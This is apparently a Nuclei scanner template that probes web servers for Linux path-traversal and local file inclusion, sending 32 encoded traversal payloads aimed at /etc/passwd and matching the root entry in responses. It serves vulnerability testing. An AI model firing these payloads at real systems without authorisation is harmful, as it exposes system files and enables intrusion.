id: generic-linux-lfi

info:
  name: Generic Linux - Local File Inclusion
  author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley,DhiyaneshDK
  severity: high
  description: Generic Linux is subject to local file Inclusion on searches for /etc/passwd on passed URLs.
  reference: https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: linux,lfi,generic
  metadata:
    max-request: 32

http:
  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd"
      - "{{BaseURL}}/..%5cetc/passwd"
      - "{{BaseURL}}/..%5c..%5cetc/passwd"
      - "{{BaseURL}}/..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5c..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
      - "{{BaseURL}}/./../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd"
      - "{{BaseURL}}/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd"
      - "{{BaseURL}}/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd"
      - "{{BaseURL}}/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd"
      - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
      - "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/..///////..////..//////etc/passwd"
      - "{{BaseURL}}/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
      - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
      - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00"
      - "{{BaseURL}}/index.php?page=etc/passwd"
      - "{{BaseURL}}/index.php?page=etc/passwd%00"
      - "{{BaseURL}}/index.php?page=../../etc/passwd"
      - "{{BaseURL}}/index.php?page=....//....//etc/passwd"
      - "{{BaseURL}}/../../../../../../../../../etc/passwd"

    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

# Enhanced by mp on 2022/07/22